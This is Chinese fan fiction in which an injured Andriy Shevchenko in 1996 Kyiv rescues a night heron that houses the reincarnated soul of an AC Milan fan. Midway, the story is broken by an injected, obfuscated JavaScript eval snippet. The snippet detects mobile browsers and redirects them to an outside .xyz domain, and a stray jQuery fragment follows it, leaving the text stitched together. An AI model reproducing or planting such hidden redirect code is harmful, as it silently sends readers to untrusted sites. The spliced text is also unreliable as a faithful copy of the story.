“你好安德烈，你恢复得怎么样？”
“谢尔盖～很高兴接到你的电话，一切都在计划中，我的疼痛感比昨天轻了一点。”
“那就好。咳，今天萨博来了，他和瓦列里·瓦西里维奇凑在一起，计划着怎样‘折磨’我们，在国家队和俱乐部。当然，也包括还在养伤的你。我猜测，不用多久，‘上校’就要召唤你回去。”
“但我还在养伤，‘上校’不能像上帝那样让我痊愈。诶，我最近不太走运，昨天晚上，一只鸟袭击了我。”
“袭击了你的左膝盖？”
“不是，如果真是那样，我的腿就真的报废了，从八月到现在，已经受伤了两次。天呐，我还记得，它真胖，翅膀就像摆设，吓人的红眼睛。”
“都快十二月了，看到鸟类可不容易。”
“事实就是如此，不知道从哪里冒出来的胖鸟，撞在了我的头上，然后比我更早一步惨叫，吵得人心烦。”
舍甫琴科在电话里说。
＊
水里有一只断腿鸟。
水很清，远远看去，半只企鹅窝囊地漂在水上，唯有走近了才能发现它脑后有五根白色的天线。
那显然不是企鹅。
——舍甫琴科谨慎地想。
他没有去干扰它，他认为人或者动物都有自己的轨迹，所以，一只停留在他家水缸里的脏鸟，明显不如猫或者狗那样惹人怜惜。
哪怕它是一只鹦鹉呢？陪他说说话也好。
而不是像现在这样，推着轮椅坐在院子里，爸爸前天返回工作岗位，妈妈和姐姐今天早上出门了，家里只有他。
一个20岁的成年人应该可以照顾好自己。
他没有告诉家人自己被鸟袭击，那样会展现出脆弱——教练们都不喜欢这种气质，而他也不愿意再次劳烦家人，所以，刚刚的谢尔盖·雷布罗夫就是唯一的故事倾听者了。
这只鸟动了。它转向了屋子的主人，懒洋洋地，忽然又叫了一声，直愣愣地看着他，整个身体都往水里掉。
它的惨样让舍甫琴科犹豫了下，用水瓢把它捞了起来。
获救的鸟儿瘫倒在水瓢上，它的腿不算长，但粗壮，与火烈鸟、白鹭那种“漂亮”没有任何关联。
“像一只鸡。”
舍甫琴科撑着下巴评价。
不过，应该不好吃。
他没有再在它身上投入关注，风有点大，还是去屋子里躲着更好。
他没什么犹豫就走了。
＊
鸟醒来了。
它，或者说他，从这具躯体里苏醒。
“天堂？地狱？”
在活人看不到的纬度，一只机械鸟回应他：“是人间，pal。”
“我是什么？告诉我，我是什么？”
“为了不影响你的生命进程，你可以先以现在的形态探索世界。直到新的躯体注册。”
“听起来非常邪恶，不真实。”
“你不需要理解，Max。只要接受它。”
Max本想再追问几句，但疼痛让他转变了话题：“现在是哪一年？我在哪里？”
“1996，冬天，在基辅，一个平民的家里。你在今天早晨不幸砸断了腿。”
Max心头一阵激荡——不是高兴。
过去的始终是过去，对于已知的结局，他没有再经历一遍的兴趣。
还不如一觉醒来来到2050年。也许那时候，他爱的俱乐部能够再赢得一些什么。
他爱它，从刚刚接触足球开始，他就爱上了它——米兰。
无论是高峰或者低谷，无论上学或者工作，只要一到比赛日，他就会备上好吃好喝的，一个人在电视／电脑面前享受那接近120分钟的直播——比任何电影都有趣。
但他还不够小心，因为经常看米兰的球迷都知道，速效救心丸迟早要准备好。
“我现在会死吗？”Max谨慎地、又带有遗憾地问。
机械鸟：“鸟当然是会死的，但夜鹭的寿命可以达到20-30年。在此期间，足够你等到复活。”
“它吃得太多了，需要人类的帮助才能活。事实上，我不介意成为一只鹦鹉。”
“抱歉，你的手机里和鸟有关的图片太少了。我以为你喜欢夜鹭。”
Max·夜鹭·那不存在的鼻孔仿佛在冒气：“还有其它选择吗？”
他有些怨恨过去那个一无所知的自己了。为什么偏偏存了那么多夜鹭？明明他也喜欢罗宾鸟、黑肩鸢、玄凤、山蓝鸲……
“是的，红色的小鸟，但没法识别品种。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598454|171949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
红鸟？
哕。
去而复返的舍甫琴科靠近以后，看到的就是一只“乌鸦”在呕吐。
他只是来把水瓢放回去的。现在来看，也许得把这只鸟送走再说。
Max头很晕，他的视角就是一只巨大的鞋子停在面前，然后，他不由自主地飞了起来。
屋子的主人拎着它的脖子站了起来。
它彻底闭上了眼睛。
这回换作始作俑者为难了。舍甫琴科捏住夜鹭的后颈，毛茸茸的寸头左顾右盼，突然对着室外的垃圾桶出了神，就在犹豫不决是否要把这只脏兮兮的猛禽扔出去时，汽车鸣笛的声音从道路一头传来。
居然是父亲回来了。
“安德烈？”
父亲将车停到车库门口，也发现了呆呆愣愣的儿子。
他跑过来，呵斥道：“谁让你站起来的？坐下。”
走到近前，又发现那只奇怪的大鸟，像乌鸦，生死不明，被人类捉在手里。
“我在院子里捡到了这只鸟，它受伤了，晕倒了。”舍甫琴科尴尬地说。他也不知道自己抽了什么风，在面对父亲的质问时，突然就对这只昨天还撞过自己的飞禽有了丝丝的怜悯。
就好像命运的指引。
命运阻止他去当一次坏人。
“你想救它？”
父亲总是严肃的。十岁的时候舍甫琴科会惧怕威严的、吝啬于解释的父亲，但是二十岁的他已经不会了。
他知道父亲是敏锐的，比他更聪明。他只是不确定，这只鸟，会像多年前的那个小足球一样，被发现是危险的，然后扔掉吗？
一只野外飞禽的病毒，和放射性物质比起来，哪个更可怕？
不知为何舍甫琴科突然下定决心，点头：“我想要救它。”
“它咬人吗？”
“不。它只是惨叫。”
“你得找到医治它的兽医，以及能够照顾它到伤愈的人。”
舍甫琴科：“现在是冬天，至少到春天，三月以后。”
“所以你打算怎么做？你的母亲、姐妹没有义务为你做这件事。”
“但是，办法总是有的，不是吗？至少，我付得起钱。”
“那就去做吧。”父亲揉了揉儿子的头。
就像你追求足球那样。